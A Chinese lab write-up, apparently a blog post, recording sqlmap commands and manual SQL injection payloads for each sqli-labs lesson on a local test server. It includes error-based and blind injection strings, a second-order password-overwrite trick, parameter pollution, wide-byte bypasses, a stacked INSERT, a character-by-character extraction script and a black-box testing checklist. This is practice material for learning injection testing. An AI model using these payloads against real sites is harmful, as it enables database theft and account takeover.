sqlmap使用_sqlmap于sql labs下使用
本文主要是写sqlmap在sql labs下的使用学习记录,目的在于模拟黑盒测试,不太在意原理。(当然,原理还是要学习好才这么干的。)
不得不说收获还是蛮大的。首先推荐下sqlmap使用的学习视频。
1-9:
python sqlmap.py -u http://127.0.0.1/sqlilabs/Less-1/?id=1 --batch
10:单独的sleep(5)不起效果,
[http://127.0.0.1/sqlilabs/Less-10/?id=1%22and%20If(ascii(substr(database(),1,1))=114,1,sleep(5))--](http://127.0.0.1/sqlilabs/Less-10/?id=1"and If(ascii(substr(database(),1,1))=114,1,sleep(5))--)+python sqlmap.py -u http://127.0.0.1/sqlilabs/Less-10/?id=1 --batch --level 3
11-17:
python sqlmap.py -u http://192.168.2.82/sqlilabs/Less-16/ --data="uname=123&passwd=123&submit=Submit" --batch --dbs
18-22:账号:Dumb,密码:Dumb。sqlmap使用-r读取请求包,在需要探测的地方加*,可以检测出来漏洞点。
18:User Agent
python sqlmap.py -r ./target.txt --batch --level 5
19:Referer
20:cookie处
21:cookie(需要将注入语句base64加密,源代码处有base64解密)
python sqlmap.py -r ./target.txt --batch --level 5 --tamper="base64encode.py"
22:cookie(21注入语句前缀后缀的单引号换成双引号)
python sqlmap.py -r ./target.txt --batch --level 5 --tamper="base64encode.py"
python sqlmap.py -u http://192.168.2.82/sqlilabs/Less-18/ -p “User-Agent” --batch --dbs --level 5 --thread 10 --technique E (此语句无效)
' and updatexml(1,concat(0x7e,(select user()),0x7e),1) and '1'='1'and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1
23:
python sqlmap.py -u http://192.168.2.82/sqlilabs/Less-23/index.php?id=1
24:一个二次注入,且漏洞功能为修改原账户密码。无法用sqlmap自动检测。
注册个账户admin’#,然后登入admin’#,然后修改密码,然后原来admin的密码就会被修改覆盖
因为**修改密码(功能)**处形成的 sql 语句是
UPDATE users SET passwd="New_Pass" WHERE username ='admin'#'xxxx
25:
python sqlmap.py -u http://192.168.2.82/sqlilabs/Less-25/index.php?id=1 --batch
26-26a-27:
提示说空格和注释
在 Windows 下会有无法用特殊字符代替空格的问题,这是 Apache 解析的问题,所以这里需要使用linux来进行搭建
window下可以使用加号(+,%2b)来代替空格,不过union两边有加号会报错,因此只能选择布尔盲注或者时间盲注。
//26-27
import requests
url="http://192.168.2.82/sqlilabs/Less-26/?id=1'%26%26(ascii(substr(database(),{},1))={})||'1'='"
result=""
for i in range(1,10):for j in range(33,127):payload = url.format(i,j)r = requests.get(payload)r.encoding=r.apparent_encodingif "Dumb" in r.text:result += chr(j)print (result)break
//26a
url="http://192.168.2.82/sqlilabs/Less-26/?id=1')%26%26(ascii(substr(database(),{},1))={})||('1'='"//27a
url="http://192.168.2.82/sqlilabs/Less-27a/?id=1"%26%26(ascii(substr(database(),{},1))={})||"1"=""//28-28a
url="http://192.168.2.82/sqlilabs/Less-28/?id=1')%26%26(ascii(substr(database(),{},1))={})||('1'='"
29:
这题就有点意思了,HTTP参数污染。
服务器端有两个部分:第一部分为 tomcat 为引擎的 jsp 型服务器,第二部分为 apache 为引擎的 php 服务器,真正提供 web 服务的是 php 服务器。在我们实际应用中,也是有两层服务器的情况,那为什么要这么做?是因为我们往往在 tomcat 服务器处做数据过滤和处理,功能类似为一个 waf,由于解析参数机制的不同,我们此处可以利用该原理绕过 WAF 的检测;数据解析顺序:tomcat从前往后,apache从后往前
(双同参数)
http://127.0.0.1/sqli-labs-master/Less-29/?id=1&id=0' union select 1,database(),3--+http://127.0.0.1/sqli-labs-master/Less-29/?id=1&id=0' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),3--+
30:29的单引号改为双引号
31:29的单引号改为")
32-33:
宽字节注入,利用mysql使用GBK编码,将两个字符看成一个汉字的特性,消除转移符号“、”,使单引号逃逸出来。这是每次黑盒测试都需要检测的一个点。
python sqlmap.py -u http://192.168.2.82/sqlilabs/Less-32/?id=1 --thread 10 --tamper="unmagicquotes.py" --batch
34:
python sqlmap.py -u http://192.168.2.82/sqlilabs/Less-34/ --data="uname=123&passwd=123&submit=Submit" --thread 10 --tamper="unmagicquotes.py" --batch
35:
python sqlmap.py -u http://192.168.2.82/sqlilabs/Less-35/?id=1 --batch
36:
python sqlmap.py -u http://192.168.2.82/sqlilabs/Less-36/?id=1 --thread 10 --tamper="unmagicquotes.py" --batch
37:
python sqlmap.py -u http://192.168.2.82/sqlilabs/Less-37/ --data="uname=123&passwd=123&submit=Submit" --thread 10 --tamper="unmagicquotes.py" --batch
38-41:
python sqlmap.py -u http://192.168.2.82/sqlilabs/Less-38/?id=1 --batch
42-45:
(43同理,前缀变了)
这种东西,除非白盒测试,能够看到源码,否则想不出这数据库名以及字段数。
login_user=test&login_password=1’;insert+into+users+values(44,‘Less32’,‘Less42’)–+&mysubmit=Login
login_user=test&login_password=1’+or+sysdate()-now()=0+and+sleep(1)=1–+&mysubmit=Login(我真是个小天才)我好像懂了sqlmap为什么会连接失败了,超时了。
好吧,sqlmap能够测出来,由于容易超时,因此容易在其中一步的询问中问你要不要继续(默认停止),此时你要手动点继续。因此不能够使用–batch参数。–time-sec=1
python sqlmap.py -r target.txt --flush-session --fresh-queries --time-sec=1
46-53:
python sqlmap.py -u http://192.168.2.82/sqlilabs/Less-46/?sort=1 --batch
总结
- 找注入点,最万能的方法是在请求包后面加星号(*),然后用-r读取。
- 先测试什么都不加(只有—batch。如果很多连接失败的报错,则需要手动点击继续,不能使用—batch参数,同时设置盲注延迟时间–time-sec=1)
- 第二步骤不行的话,level提升为4.
- 第三步骤不行的话,使用脚本–tamper="unmagicquotes.py"进行宽字节注入。
以上步骤都不行的话,自行使用脚本进行测试。判断双写等waf拦截。或者双同参数的HTTP参数污染。
小脚本:
import requests
url="http://192.168.2.82/sqlilabs/Less-26/?id=1'%26%26(ascii(substr(database(),{},1))={})||'1'='"
result=""
for i in range(1,10):for j in range(33,127):payload = url.format(i,j)r = requests.get(payload)r.encoding=r.apparent_encodingif "Dumb" in r.text:result += chr(j)print (result)break
心疼我相麻
sqlmap使用_sqlmap于sql labs下使用相关推荐
- util包下的Date与sql包下的Date之间的转换
Java中的时间类型 java.sql包下给出三个与数据库相关的日期时间类型,分别是: Date:表示日期,只有年月日,没有时分秒.会丢失时间: Time:表示时间,只有时分秒,没有年月日.会丢失日期 ...
- 批量处理SQL Oracle下:
Oracle下: 1.新增一个批处理文件:如a.bat 2.新增一个SQL脚本文件:如a.sql 3.a.bat中输入:sqlplus 用户名/密码 @C:\a.sql(假设a.sql在c:盘根目录下 ...
- C# 学习笔记(19)操作SQL Server下
C# 学习笔记(19)操作SQL Server下 ADO.net操作数据库 这应该是比较老的技术了,以后有空的话学学 Linq /// <summary> /// 数据库使用类 /// & ...
- Flink Table API和SQL(下)
传送门: Flink Table API和SQL(上)(基本API介绍+流处理表的特性) Flink Table API和SQL(中)(时间属性及窗口+聚合查询+联结查询) Flink Table A ...
- 在SQLMAP中使用动态SQL
最近有几个同事和朋友询问如何在SQLMAP中"拼接字符串",因为有时候条件的数量不固定,条件参数类型也不固定,无法写出 @参数名 这样的SQL语句,也就是大家常说的"动态 ...
- 使用SQLmap对dvwa进行SQL注入测试
SQLmap工具github链接:https://github.com/sqlmapproject/sqlmap 搭建dvwa环境并启动. windows上需要搭建Python环境,下载sqlmap包 ...
- PL/SQL Developer下设置“长SQL自己主动换行”
***********************************************声明*************************************************** ...
- 使用Sqlmap对dvwa进行sql注入测试(初级阶段)
0.测试准备 1)打开Kali虚拟机终端; 2)打开靶机OWASP,并通过浏览器,输入IP地址进入dvwa的主页,然后选择SQL injection进入SQL注入的测试页面 1.获取DVWA的url和 ...
- sqlmap地表最强sql注入检测工具学习使用
官网戳:https://sqlmap.org/ 带着问题去学习:假如有一个POST接口,传递的body是一个json, 我需要去检查这个json里面的一个字段有没有sql注入的可能,我使用sqlmap ...
最新文章
- 【转载】C#编码标准━━项目设置和项目结构
- PPT下载下来是php,用php下载jpg,doc,ppt文件已损坏
- 六、Python之三元表达式、列表推导式、生成器表达式
- CentOS 7忘记root密码解决办法
- 计算机表格平均分用函数怎么算,总结:如何使用公式计算Excel2013表中合并单元格的平均值...
- aes ccm模式 java_AES_GCM和AES_CCM的选择
- Sniffer的使用
- 一位Google程序员的算法学习之路
- android siri声波动画,Waver声波效果开源项目:和 Siri 一起学数学
- 【上海交大oj】畅畅的牙签袋(改)(枚举+模拟)
- 从零开始学习Java设计模式 | 设计模式入门篇:设计模式概述
- 互联网大厂面试考点————设计模式
- 铁路局12306余票查询的实现
- 零基础搭建电影网站教程——二、运行环境
- 实验一 信号、系统及系统响应
- 目前最顶级的多视角立体影像匹配算法
- 关于有源滤波器和无源滤波器
- 彩信发送流程 --- 之一
- ucosii的实时操作系统(任哲)——第一章
- 请说说你还使用过哪些视频后期软件?说说优缺点?